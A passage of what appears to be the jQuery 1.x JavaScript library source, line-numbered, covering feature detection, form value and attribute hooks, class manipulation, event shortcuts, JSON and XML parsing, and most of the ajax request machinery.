4941 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4942 a = div.getElementsByTagName("a")[0];
4943 select = document.createElement("select");
4944 opt = select.appendChild(document.createElement("option"));
4945 input = div.getElementsByTagName("input")[0];
4946 a.style.cssText = "top:1px";
4947 support.getSetAttribute = div.className !== "t";
4948 support.style = /top/.test(a.getAttribute("style"));
4949 support.hrefNormalized = a.getAttribute("href") === "/a";
4950 support.checkOn = !!input.value;
4951 support.optSelected = opt.selected;
4952 support.enctype = !!document.createElement("form").enctype;
4953 select.disabled = true;
4954 support.optDisabled = !opt.disabled;
4955 input = document.createElement("input");
4956 input.setAttribute("value", "");
4957 support.input = input.getAttribute("value") === "";
4958 input.value = "t";
4959 input.setAttribute("type", "radio");
4960 support.radioValue = input.value === "t"
4961 })();
4962 var rreturn = /\r/g;
4963 jQuery.fn.extend({
4964 val: function(value) {
4965 var hooks, ret, isFunction, elem = this[0];
4966 if (!arguments.length) {
4967 if (elem) {
4968 hooks = jQuery.valHooks[elem.type] || jQuery.valHooks[elem.nodeName.toLowerCase()];
4969 if (hooks && "get" in hooks && (ret = hooks.get(elem, "value")) !== undefined) {
4970 return ret
4971 }
4972 ret = elem.value;
4973 return typeof ret === "string" ? ret.replace(rreturn, "") : ret == null ? "" : ret
4974 }
4975 return
4976 }
4977 isFunction = jQuery.isFunction(value);
4978 return this.each(function(i) {
4979 var val;
4980 if (this.nodeType !== 1) {
4981 return
4982 }
4983 if (isFunction) {
4984 val = value.call(this, i, jQuery(this).val())
4985 } else {
4986 val = value
4987 }
4988 if (val == null) {
4989 val = ""
4990 } else if (typeof val === "number") {
4991 val += ""
4992 } else if (jQuery.isArray(val)) {
4993 val = jQuery.map(val, function(value) {
4994 return value == null ? "" : value + ""
4995 })
4996 }
4997 hooks = jQuery.valHooks[this.type] || jQuery.valHooks[this.nodeName.toLowerCase()];
4998 if (!hooks || !("set" in hooks) || hooks.set(this, val, "value") === undefined) {
4999 this.value = val
5000 }
5001 })
5002 }
5003 });
5004 jQuery.extend({
5005 valHooks: {
5006 option: {
5007 get: function(elem) {
5008 var val = jQuery.find.attr(elem, "value");
5009 return val != null ? val : jQuery.trim(jQuery.text(elem))
5010 }
5011 },
5012 select: {
5013 get: function(elem) {
5014 var value, option, options = elem.options,
5015 index = elem.selectedIndex,
5016 one = elem.type === "select-one" || index < 0,
5017 values = one ? null : [],
5018 max = one ? index + 1 : options.length,
5019 i = index < 0 ? max : one ? index : 0;
5020 for (; i < max; i++) {
5021 option = options[i];
5022 if ((option.selected || i === index) && (support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
5023 value = jQuery(option).val();
5024 if (one) {
5025 return value
5026 }
5027 values.push(value)
5028 }
5029 }
5030 return values
5031 },
5032 set: function(elem, value) {
5033 var optionSet, option, options = elem.options,
5034 values = jQuery.makeArray(value),
5035 i = options.length;
5036 while (i--) {
5037 option = options[i];
5038 if (jQuery.inArray(jQuery.valHooks.option.get(option), values) >= 0) {
5039 try {
5040 option.selected = optionSet = true
5041 } catch (_) {
5042 option.scrollHeight
5043 }
5044 } else {
5045 option.selected = false
5046 }
5047 }
5048 if (!optionSet) {
5049 elem.selectedIndex = -1
5050 }
5051 return options
5052 }
5053 }
5054 }
5055 });
5056 jQuery.each(["radio", "checkbox"], function() {
5057 jQuery.valHooks[this] = {
5058 set: function(elem, value) {
5059 if (jQuery.isArray(value)) {
5060 return (elem.checked = jQuery.inArray(jQuery(elem).val(), value) >= 0)
5061 }
5062 }
5063 };
5064 if (!support.checkOn) {
5065 jQuery.valHooks[this].get = function(elem) {
5066 return elem.getAttribute("value") === null ? "on" : elem.value
5067 }
5068 }
5069 });
5070 var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle,
5071 ruseDefault = /^(?:checked|selected)$/i,
5072 getSetAttribute = support.getSetAttribute,
5073 getSetInput = support.input;
5074 jQuery.fn.extend({
5075 attr: function(name, value) {
5076 return access(this, jQuery.attr, name, value, arguments.length > 1)
5077 },
5078 removeAttr: function(name) {
5079 return this.each(function() {
5080 jQuery.removeAttr(this, name)
5081 })
5082 }
5083 });
5084 jQuery.extend({
5085 attr: function(elem, name, value) {
5086 var hooks, ret, nType = elem.nodeType;
5087 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5088 return
5089 }
5090 if (typeof elem.getAttribute === strundefined) {
5091 return jQuery.prop(elem, name, value)
5092 }
5093 if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
5094 name = name.toLowerCase();
5095 hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? boolHook : nodeHook)
5096 }
5097 if (value !== undefined) {
5098 if (value === null) {
5099 jQuery.removeAttr(elem, name)
5100 } else if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) {
5101 return ret
5102 } else {
5103 elem.setAttribute(name, value + "");
5104 return value
5105 }
5106 } else if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
5107 return ret
5108 } else {
5109 ret = jQuery.find.attr(elem, name);
5110 return ret == null ? undefined : ret
5111 }
5112 },
5113 removeAttr: function(elem, value) {
5114 var name, propName, i = 0,
5115 attrNames = value && value.match(rnotwhite);
5116 if (attrNames && elem.nodeType === 1) {
5117 while ((name = attrNames[i++])) {
5118 propName = jQuery.propFix[name] || name;
5119 if (jQuery.expr.match.bool.test(name)) {
5120 if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5121 elem[propName] = false
5122 } else {
5123 elem[jQuery.camelCase("default-" + name)] = elem[propName] = false
5124 }
5125 } else {
5126 jQuery.attr(elem, name, "")
5127 }
5128 elem.removeAttribute(getSetAttribute ? name : propName)
5129 }
5130 }
5131 },
5132 attrHooks: {
5133 type: {
5134 set: function(elem, value) {
5135 if (!support.radioValue && value === "radio" && jQuery.nodeName(elem, "input")) {
5136 var val = elem.value;
5137 elem.setAttribute("type", value);
5138 if (val) {
5139 elem.value = val
5140 }
5141 return value
5142 }
5143 }
5144 }
5145 }
5146 });
5147 boolHook = {
5148 set: function(elem, value, name) {
5149 if (value === false) {
5150 jQuery.removeAttr(elem, name)
5151 } else if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5152 elem.setAttribute(!getSetAttribute && jQuery.propFix[name] || name, name)
5153 } else {
5154 elem[jQuery.camelCase("default-" + name)] = elem[name] = true
5155 }
5156 return name
5157 }
5158 };
5159 jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g), function(i, name) {
5160 var getter = attrHandle[name] || jQuery.find.attr;
5161 attrHandle[name] = getSetInput && getSetAttribute || !ruseDefault.test(name) ? function(elem, name, isXML) {
5162 var ret, handle;
5163 if (!isXML) {
5164 handle = attrHandle[name];
5165 attrHandle[name] = ret;
5166 ret = getter(elem, name, isXML) != null ? name.toLowerCase() : null;
5167 attrHandle[name] = handle
5168 }
5169 return ret
5170 } : function(elem, name, isXML) {
5171 if (!isXML) {
5172 return elem[jQuery.camelCase("default-" + name)] ? name.toLowerCase() : null
5173 }
5174 }
5175 });
5176 if (!getSetInput || !getSetAttribute) {
5177 jQuery.attrHooks.value = {
5178 set: function(elem, value, name) {
5179 if (jQuery.nodeName(elem, "input")) {
5180 elem.defaultValue = value
5181 } else {
5182 return nodeHook && nodeHook.set(elem, value, name)
5183 }
5184 }
5185 }
5186 }
5187 if (!getSetAttribute) {
5188 nodeHook = {
5189 set: function(elem, value, name) {
5190 var ret = elem.getAttributeNode(name);
5191 if (!ret) {
5192 elem.setAttributeNode((ret = elem.ownerDocument.createAttribute(name)))
5193 }
5194 ret.value = value += "";
5195 if (name === "value" || value === elem.getAttribute(name)) {
5196 return value
5197 }
5198 }
5199 };
5200 attrHandle.id = attrHandle.name = attrHandle.coords = function(elem, name, isXML) {
5201 var ret;
5202 if (!isXML) {
5203 return (ret = elem.getAttributeNode(name)) && ret.value !== "" ? ret.value : null
5204 }
5205 };
5206 jQuery.valHooks.button = {
5207 get: function(elem, name) {
5208 var ret = elem.getAttributeNode(name);
5209 if (ret && ret.specified) {
5210 return ret.value
5211 }
5212 },
5213 set: nodeHook.set
5214 };
5215 jQuery.attrHooks.contenteditable = {
5216 set: function(elem, value, name) {
5217 nodeHook.set(elem, value === "" ? false : value, name)
5218 }
5219 };
5220 jQuery.each(["width", "height"], function(i, name) {
5221 jQuery.attrHooks[name] = {
5222 set: function(elem, value) {
5223 if (value === "") {
5224 elem.setAttribute(name, "auto");
5225 return value
5226 }
5227 }
5228 }
5229 })
5230 }
5231 if (!support.style) {
5232 jQuery.attrHooks.style = {
5233 get: function(elem) {
5234 return elem.style.cssText || undefined
5235 },
5236 set: function(elem, value) {
5237 return (elem.style.cssText = value + "")
5238 }
5239 }
5240 }
5241 var rfocusable = /^(?:input|select|textarea|button|object)$/i,
5242 rclickable = /^(?:a|area)$/i;
5243 jQuery.fn.extend({
5244 prop: function(name, value) {
5245 return access(this, jQuery.prop, name, value, arguments.length > 1)
5246 },
5247 removeProp: function(name) {
5248 name = jQuery.propFix[name] || name;
5249 return this.each(function() {
5250 try {
5251 this[name] = undefined;
5252 delete this[name]
5253 } catch (e) {}
5254 })
5255 }
5256 });
5257 jQuery.extend({
5258 propFix: {
5259 "for": "htmlFor",
5260 "class": "className"
5261 },
5262 prop: function(elem, name, value) {
5263 var ret, hooks, notxml, nType = elem.nodeType;
5264 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5265 return
5266 }
5267 notxml = nType !== 1 || !jQuery.isXMLDoc(elem);
5268 if (notxml) {
5269 name = jQuery.propFix[name] || name;
5270 hooks = jQuery.propHooks[name]
5271 }
5272 if (value !== undefined) {
5273 return hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined ? ret : (elem[name] = value)
5274 } else {
5275 return hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null ? ret : elem[name]
5276 }
5277 },
5278 propHooks: {
5279 tabIndex: {
5280 get: function(elem) {
5281 var tabindex = jQuery.find.attr(elem, "tabindex");
5282 return tabindex ? parseInt(tabindex, 10) : rfocusable.test(elem.nodeName) || rclickable.test(elem.nodeName) && elem.href ? 0 : -1
5283 }
5284 }
5285 }
5286 });
5287 if (!support.hrefNormalized) {
5288 jQuery.each(["href", "src"], function(i, name) {
5289 jQuery.propHooks[name] = {
5290 get: function(elem) {
5291 return elem.getAttribute(name, 4)
5292 }
5293 }
5294 })
5295 }
5296 if (!support.optSelected) {
5297 jQuery.propHooks.selected = {
5298 get: function(elem) {
5299 var parent = elem.parentNode;
5300 if (parent) {
5301 parent.selectedIndex;
5302 if (parent.parentNode) {
5303 parent.parentNode.selectedIndex
5304 }
5305 }
5306 return null
5307 }
5308 }
5309 }
5310 jQuery.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
5311 jQuery.propFix[this.toLowerCase()] = this
5312 });
5313 if (!support.enctype) {
5314 jQuery.propFix.enctype = "encoding"
5315 }
5316 var rclass = /[\t\r\n\f]/g;
5317 jQuery.fn.extend({
5318 addClass: function(value) {
5319 var classes, elem, cur, clazz, j, finalValue, i = 0,
5320 len = this.length,
5321 proceed = typeof value === "string" && value;
5322 if (jQuery.isFunction(value)) {
5323 return this.each(function(j) {
5324 jQuery(this).addClass(value.call(this, j, this.className))
5325 })
5326 }
5327 if (proceed) {
5328 classes = (value || "").match(rnotwhite) || [];
5329 for (; i < len; i++) {
5330 elem = this[i];
5331 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : " ");
5332 if (cur) {
5333 j = 0;
5334 while ((clazz = classes[j++])) {
5335 if (cur.indexOf(" " + clazz + " ") < 0) {
5336 cur += clazz + " "
5337 }
5338 }
5339 finalValue = jQuery.trim(cur);
5340 if (elem.className !== finalValue) {
5341 elem.className = finalValue
5342 }
5343 }
5344 }
5345 }
5346 return this
5347 },
5348 removeClass: function(value) {
5349 var classes, elem, cur, clazz, j, finalValue, i = 0,
5350 len = this.length,
5351 proceed = arguments.length === 0 || typeof value === "string" && value;
5352 if (jQuery.isFunction(value)) {
5353 return this.each(function(j) {
5354 jQuery(this).removeClass(value.call(this, j, this.className))
5355 })
5356 }
5357 if (proceed) {
5358 classes = (value || "").match(rnotwhite) || [];
5359 for (; i < len; i++) {
5360 elem = this[i];
5361 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : "");
5362 if (cur) {
5363 j = 0;
5364 while ((clazz = classes[j++])) {
5365 while (cur.indexOf(" " + clazz + " ") >= 0) {
5366 cur = cur.replace(" " + clazz + " ", " ")
5367 }
5368 }
5369 finalValue = value ? jQuery.trim(cur) : "";
5370 if (elem.className !== finalValue) {
5371 elem.className = finalValue
5372 }
5373 }
5374 }
5375 }
5376 return this
5377 },
5378 toggleClass: function(value, stateVal) {
5379 var type = typeof value;
5380 if (typeof stateVal === "boolean" && type === "string") {
5381 return stateVal ? this.addClass(value) : this.removeClass(value)
5382 }
5383 if (jQuery.isFunction(value)) {
5384 return this.each(function(i) {
5385 jQuery(this).toggleClass(value.call(this, i, this.className, stateVal), stateVal)
5386 })
5387 }
5388 return this.each(function() {
5389 if (type === "string") {
5390 var className, i = 0,
5391 self = jQuery(this),
5392 classNames = value.match(rnotwhite) || [];
5393 while ((className = classNames[i++])) {
5394 if (self.hasClass(className)) {
5395 self.removeClass(className)
5396 } else {
5397 self.addClass(className)
5398 }
5399 }
5400 } else if (type === strundefined || type === "boolean") {
5401 if (this.className) {
5402 jQuery._data(this, "__className__", this.className)
5403 }
5404 this.className = this.className || value === false ? "" : jQuery._data(this, "__className__") || ""
5405 }
5406 })
5407 },
5408 hasClass: function(selector) {
5409 var className = " " + selector + " ",
5410 i = 0,
5411 l = this.length;
5412 for (; i < l; i++) {
5413 if (this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf(className) >= 0) {
5414 return true
5415 }
5416 }
5417 return false
5418 }
5419 });
5420 jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function(i, name) {
5421 jQuery.fn[name] = function(data, fn) {
5422 return arguments.length > 0 ? this.on(name, null, data, fn) : this.trigger(name)
5423 }
5424 });
5425 jQuery.fn.extend({
5426 hover: function(fnOver, fnOut) {
5427 return this.mouseenter(fnOver).mouseleave(fnOut || fnOver)
5428 },
5429 bind: function(types, data, fn) {
5430 return this.on(types, null, data, fn)
5431 },
5432 unbind: function(types, fn) {
5433 return this.off(types, null, fn)
5434 },
5435 delegate: function(selector, types, data, fn) {
5436 return this.on(types, selector, data, fn)
5437 },
5438 undelegate: function(selector, types, fn) {
5439 return arguments.length === 1 ? this.off(selector, "**") : this.off(types, selector || "**", fn)
5440 }
5441 });
5442 var nonce = jQuery.now();
5443 var rquery = (/\?/);
5444 var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
5445 jQuery.parseJSON = function(data) {
5446 if (window.JSON && window.JSON.parse) {
5447 return window.JSON.parse(data + "")
5448 }
5449 var requireNonComma, depth = null,
5450 str = jQuery.trim(data + "");
5451 return str && !jQuery.trim(str.replace(rvalidtokens, function(token, comma, open, close) {
5452 if (requireNonComma && comma) {
5453 depth = 0
5454 }
5455 if (depth === 0) {
5456 return token
5457 }
5458 requireNonComma = open || comma;
5459 depth += !close - !open;
5460 return ""
5461 })) ? (Function("return " + str))() : jQuery.error("Invalid JSON: " + data)
5462 };
5463 jQuery.parseXML = function(data) {
5464 var xml, tmp;
5465 if (!data || typeof data !== "string") {
5466 return null
5467 }
5468 try {
5469 if (window.DOMParser) {
5470 tmp = new DOMParser();
5471 xml = tmp.parseFromString(data, "text/xml")
5472 } else {
5473 xml = new ActiveXObject("Microsoft.XMLDOM");
5474 xml.async = "false";
5475 xml.loadXML(data)
5476 }
5477 } catch (e) {
5478 xml = undefined
5479 }
5480 if (!xml || !xml.documentElement || xml.getElementsByTagName("parsererror").length) {
5481 jQuery.error("Invalid XML: " + data)
5482 }
5483 return xml
5484 };
5485 var ajaxLocParts, ajaxLocation, rhash = /#.*$/,
5486 rts = /([?&])_=[^&]*/,
5487 rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
5488 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
5489 rnoContent = /^(?:GET|HEAD)$/,
5490 rprotocol = /^\/\//,
5491 rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
5492 prefilters = {},
5493 transports = {},
5494 allTypes = "*/".concat("*");
5495 try {
5496 ajaxLocation = location.href
5497 } catch (e) {
5498 ajaxLocation = document.createElement("a");
5499 ajaxLocation.href = "";
5500 ajaxLocation = ajaxLocation.href
5501 }
5502 ajaxLocParts = rurl.exec(ajaxLocation.toLowerCase()) || [];
5503
5504 function addToPrefiltersOrTransports(structure) {
5505 return function(dataTypeExpression, func) {
5506 if (typeof dataTypeExpression !== "string") {
5507 func = dataTypeExpression;
5508 dataTypeExpression = "*"
5509 }
5510 var dataType, i = 0,
5511 dataTypes = dataTypeExpression.toLowerCase().match(rnotwhite) || [];
5512 if (jQuery.isFunction(func)) {
5513 while ((dataType = dataTypes[i++])) {
5514 if (dataType.charAt(0) === "+") {
5515 dataType = dataType.slice(1) || "*";
5516 (structure[dataType] = structure[dataType] || []).unshift(func)
5517 } else {
5518 (structure[dataType] = structure[dataType] || []).push(func)
5519 }
5520 }
5521 }
5522 }
5523 }
5524
5525 function inspectPrefiltersOrTransports(structure, options, originalOptions, jqXHR) {
5526 var inspected = {},
5527 seekingTransport = (structure === transports);
5528
5529 function inspect(dataType) {
5530 var selected;
5531 inspected[dataType] = true;
5532 jQuery.each(structure[dataType] || [], function(_, prefilterOrFactory) {
5533 var dataTypeOrTransport = prefilterOrFactory(options, originalOptions, jqXHR);
5534 if (typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[dataTypeOrTransport]) {
5535 options.dataTypes.unshift(dataTypeOrTransport);
5536 inspect(dataTypeOrTransport);
5537 return false
5538 } else if (seekingTransport) {
5539 return !(selected = dataTypeOrTransport)
5540 }
5541 });
5542 return selected
5543 }
5544 return inspect(options.dataTypes[0]) || !inspected["*"] && inspect("*")
5545 }
5546
5547 function ajaxExtend(target, src) {
5548 var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {};
5549 for (key in src) {
5550 if (src[key] !== undefined) {
5551 (flatOptions[key] ? target : (deep || (deep = {})))[key] = src[key]
5552 }
5553 }
5554 if (deep) {
5555 jQuery.extend(true, target, deep)
5556 }
5557 return target
5558 }
5559
5560 function ajaxHandleResponses(s, jqXHR, responses) {
5561 var firstDataType, ct, finalDataType, type, contents = s.contents,
5562 dataTypes = s.dataTypes;
5563 while (dataTypes[0] === "*") {
5564 dataTypes.shift();
5565 if (ct === undefined) {
5566 ct = s.mimeType || jqXHR.getResponseHeader("Content-Type")
5567 }
5568 }
5569 if (ct) {
5570 for (type in contents) {
5571 if (contents[type] && contents[type].test(ct)) {
5572 dataTypes.unshift(type);
5573 break
5574 }
5575 }
5576 }
5577 if (dataTypes[0] in responses) {
5578 finalDataType = dataTypes[0]
5579 } else {
5580 for (type in responses) {
5581 if (!dataTypes[0] || s.converters[type + " " + dataTypes[0]]) {
5582 finalDataType = type;
5583 break
5584 }
5585 if (!firstDataType) {
5586 firstDataType = type
5587 }
5588 }
5589 finalDataType = finalDataType || firstDataType
5590 }
5591 if (finalDataType) {
5592 if (finalDataType !== dataTypes[0]) {
5593 dataTypes.unshift(finalDataType)
5594 }
5595 return responses[finalDataType]
5596 }
5597 }
5598
5599 function ajaxConvert(s, response, jqXHR, isSuccess) {
5600 var conv2, current, conv, tmp, prev, converters = {},
5601 dataTypes = s.dataTypes.slice();
5602 if (dataTypes[1]) {
5603 for (conv in s.converters) {
5604 converters[conv.toLowerCase()] = s.converters[conv]
5605 }
5606 }
5607 current = dataTypes.shift();
5608 while (current) {
5609 if (s.responseFields[current]) {
5610 jqXHR[s.responseFields[current]] = response
5611 }
5612 if (!prev && isSuccess && s.dataFilter) {
5613 response = s.dataFilter(response, s.dataType)
5614 }
5615 prev = current;
5616 current = dataTypes.shift();
5617 if (current) {
5618 if (current === "*") {
5619 current = prev
5620 } else if (prev !== "*" && prev !== current) {
5621 conv = converters[prev + " " + current] || converters["* " + current];
5622 if (!conv) {
5623 for (conv2 in converters) {
5624 tmp = conv2.split(" ");
5625 if (tmp[1] === current) {
5626 conv = converters[prev + " " + tmp[0]] || converters["* " + tmp[0]];
5627 if (conv) {
5628 if (conv === true) {
5629 conv = converters[conv2]
5630 } else if (converters[conv2] !== true) {
5631 current = tmp[0];
5632 dataTypes.unshift(tmp[1])
5633 }
5634 break
5635 }
5636 }
5637 }
5638 }
5639 if (conv !== true) {
5640 if (conv && s["throws"]) {
5641 response = conv(response)
5642 } else {
5643 try {
5644 response = conv(response)
5645 } catch (e) {
5646 return {
5647 state: "parsererror",
5648 error: conv ? e : "No conversion from " + prev + " to " + current
5649 }
5650 }
5651 }
5652 }
5653 }
5654 }
5655 }
5656 return {
5657 state: "success",
5658 data: response
5659 }
5660 }
5661 jQuery.extend({
5662 active: 0,
5663 lastModified: {},
5664 etag: {},
5665 ajaxSettings: {
5666 url: ajaxLocation,
5667 type: "GET",
5668 isLocal: rlocalProtocol.test(ajaxLocParts[1]),
5669 global: true,
5670 processData: true,
5671 async: true,
5672 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
5673 accepts: {
5674 "*": allTypes,
5675 text: "text/plain",
5676 html: "text/html",
5677 xml: "application/xml, text/xml",
5678 json: "application/json, text/javascript"
5679 },
5680 contents: {
5681 xml: /xml/,
5682 html: /html/,
5683 json: /json/
5684 },
5685 responseFields: {
5686 xml: "responseXML",
5687 text: "responseText",
5688 json: "responseJSON"
5689 },
5690 converters: {
5691 "* text": String,
5692 "text html": true,
5693 "text json": jQuery.parseJSON,
5694 "text xml": jQuery.parseXML
5695 },
5696 flatOptions: {
5697 url: true,
5698 context: true
5699 }
5700 },
5701 ajaxSetup: function(target, settings) {
5702 return settings ? ajaxExtend(ajaxExtend(target, jQuery.ajaxSettings), settings) : ajaxExtend(jQuery.ajaxSettings, target)
5703 },
5704 ajaxPrefilter: addToPrefiltersOrTransports(prefilters),
5705 ajaxTransport: addToPrefiltersOrTransports(transports),
5706 ajax: function(url, options) {
5707 if (typeof url === "object") {
5708 options = url;
5709 url = undefined
5710 }
5711 options = options || {};
5712 var parts, i, cacheURL, responseHeadersString, timeoutTimer, fireGlobals, transport, responseHeaders, s = jQuery.ajaxSetup({}, options),
5713 callbackContext = s.context || s,
5714 globalEventContext = s.context && (callbackContext.nodeType || callbackContext.jquery) ? jQuery(callbackContext) : jQuery.event,
5715 deferred = jQuery.Deferred(),
5716 completeDeferred = jQuery.Callbacks("once memory"),
5717 statusCode = s.statusCode || {},
5718 requestHeaders = {},
5719 requestHeadersNames = {},
5720 state = 0,
5721 strAbort = "canceled",
5722 jqXHR = {
5723 readyState: 0,
5724 getResponseHeader: function(key) {
5725 var match;
5726 if (state === 2) {
5727 if (!responseHeaders) {
5728 responseHeaders = {};
5729 while ((match = rheaders.exec(responseHeadersString))) {
5730 responseHeaders[match[1].toLowerCase()] = match[2]
5731 }
5732 }
5733 match = responseHeaders[key.toLowerCase()]
5734 }
5735 return match == null ? null : match
5736 },
5737 getAllResponseHeaders: function() {
5738 return state === 2 ? responseHeadersString : null
5739 },
5740 setRequestHeader: function(name, value) {
5741 var lname = name.toLowerCase();
5742 if (!state) {
5743 name = requestHeadersNames[lname] = requestHeadersNames[lname] || name;
5744 requestHeaders[name] = value
5745 }
5746 return this
5747 },
5748 overrideMimeType: function(type) {
5749 if (!state) {
5750 s.mimeType = type
5751 }
5752 return this
5753 },
5754 statusCode: function(map) {
5755 var code;
5756 if (map) {
5757 if (state < 2) {
5758 for (code in map) {
5759 statusCode[code] = [statusCode[code], map[code]]
5760 }
5761 } else {
5762 jqXHR.always(map[jqXHR.status])
5763 }
5764 }
5765 return this
5766 },
5767 abort: function(statusText) {
5768 var finalText = statusText || strAbort;
5769 if (transport) {
5770 transport.abort(finalText)
5771 }
5772 done(0, finalText);
5773 return this
5774 }
5775 };
5776 deferred.promise(jqXHR).complete = completeDeferred.add;
5777 jqXHR.success = jqXHR.done;
5778 jqXHR.error = jqXHR.fail;
5779 s.url = ((url || s.url || ajaxLocation) + "").replace(rhash, "").replace(rprotocol, ajaxLocParts[1] + "//");
5780 s.type = options.method || options.type || s.method || s.type;
5781 s.dataTypes = jQuery.trim(s.dataType || "*").toLowerCase().match(rnotwhite) || [""];
5782 if (s.crossDomain == null) {
5783 parts = rurl.exec(s.url.toLowerCase());
5784 s.crossDomain = !!(parts && (parts[1] !== ajaxLocParts[1] || parts[2] !== ajaxLocParts[2] || (parts[3] || (parts[1] === "http:" ? "80" : "443")) !== (ajaxLocParts[3] || (ajaxLocParts[1] === "http:" ? "80" : "443"))))
5785 }
5786 if (s.data && s.processData && typeof s.data !== "string") {
5787 s.data = jQuery.param(s.data, s.traditional)
5788 }
5789 inspectPrefiltersOrTransports(prefilters, s, options, jqXHR);
5790 if (state === 2) {
5791 return jqXHR
5792 }
5793 fireGlobals = jQuery.event && s.global;
5794 if (fireGlobals && jQuery.active++ === 0) {
5795 jQuery.event.trigger("ajaxStart")
5796 }
5797 s.type = s.type.toUpperCase();
5798 s.hasContent = !rnoContent.test(s.type);
5799 cacheURL = s.url;
5800 if (!s.hasContent) {
5801 if (s.data) {
5802 cacheURL = (s.url += (rquery.test(cacheURL) ? "&" : "?") + s.data);
5803 delete s.data
5804 }
5805 if (s.cache === false) {
5806 s.url = rts.test(cacheURL) ? cacheURL.replace(rts, "$1_=" + nonce++) : cacheURL + (rquery.test(cacheURL) ? "&" : "?") + "_=" + nonce++
5807 }
5808 }
5809 if (s.ifModified) {
5810 if (jQuery.lastModified[cacheURL]) {
5811 jqXHR.setRequestHeader("If-Modified-Since", jQuery.lastModified[cacheURL])
5812 }
5813 if (jQuery.etag[cacheURL]) {
5814 jqXHR.setRequestHeader("If-None-Match", jQuery.etag[cacheURL])
5815 }
5816 }
5817 if (s.data && s.hasContent && s.contentType !== false || options.contentType) {
5818 jqXHR.setRequestHeader("Content-Type", s.contentType)
5819 }
5820 jqXHR.setRequestHeader("Accept", s.dataTypes[0] && s.accepts[s.dataTypes[0]] ? s.accepts[s.dataTypes[0]] + (s.dataTypes[0] !== "*" ? ", " + allTypes + "; q=0.01" : "") : s.accepts["*"]);
5821 for (i in s.headers) {
5822 jqXHR.setRequestHeader(i, s.headers[i])
5823 }
5824 if (s.beforeSend && (s.beforeSend.call(callbackContext, jqXHR, s) === false || state === 2)) {
5825 return jqXHR.abort()
5826 }
5827 strAbort = "abort";
5828 for (i in {
5829 success: 1,
5830 error: 1,
5831 complete: 1
5832 }) {
5833 jqXHR[i](s[i])
5834 }
5835 transport = inspectPrefiltersOrTransports(transports, s, options, jqXHR);
5836 if (!transport) {
5837 done(-1, "No Transport")
5838 } else {
5839 jqXHR.readyState = 1;
5840 if (fireGlobals) {
5841 globalEventContext.trigger("ajaxSend", [jqXHR, s])
5842 }
5843 if (s.async && s.timeout > 0) {
5844 timeoutTimer = setTimeout(function() {
5845 jqXHR.abort("timeout")
5846 }, s.timeout)
5847 }
5848 try {
5849 state = 1;
5850 transport.send(requestHeaders, done)
5851 } catch (e) {
5852 if (state < 2) {
5853 done(-1, e)
5854 } else {
5855 throw e;
5856 }
5857 }
5858 }
5859
5860 function done(status, nativeStatusText, responses, headers) {
5861 var isSuccess, success, error, response, modified, statusText = nativeStatusText;
5862 if (state === 2) {
5863 return
5864 }
5865 state = 2;
5866 if (timeoutTimer) {
5867 clearTimeout(timeoutTimer)
5868 }
5869 transport = undefined;
5870 responseHeadersString = headers || "";
5871 jqXHR.readyState = status > 0 ? 4 : 0;
5872 isSuccess = status >= 200 && status < 300 || status === 304;
5873 if (responses) {
5874 response = ajaxHandleResponses(s, jqXHR, responses)
5875 }
5876 response = ajaxConvert(s, response, jqXHR, isSuccess);
5877 if (isSuccess) {
5878 if (s.ifModified) {
5879 modified = jqXHR.getResponseHeader("Last-Modified");
5880 if (modified) {
5881 jQuery.lastModified[cacheURL] = modified
5882 }
5883 modified = jqXHR.getResponseHeader("etag");
5884 if (modified) {
5885 jQuery.etag[cacheURL] = modified
5886 }
5887 }
5888 if (status === 204 || s.type === "HEAD") {
5889 statusText = "nocontent"
5890 } else if (status === 304) {
5891 statusText = "notmodified"
5892 } else {
5893 statusText = response.state;
5894 success = response.data;
5895 error = response.error;
5896 isSuccess = !error
5897 }
5898 } else {
5899 error = statusText;
5900 if (status || !statusText) {
5901 statusText = "error";
5902 if (status < 0) {
5903 status = 0
5904 }
5905 }
5906 }
5907 jqXHR.status = status;
5908 jqXHR.statusText = (nativeStatusText || statusText) + "";
5909 if (isSuccess) {
5910 deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
5911 } else {
5912 deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
5913 }
5914 jqXHR.statusCode(statusCode);
5915 statusCode = undefined;
5916 if (fireGlobals) {
5917 globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
5918 }
5919 completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
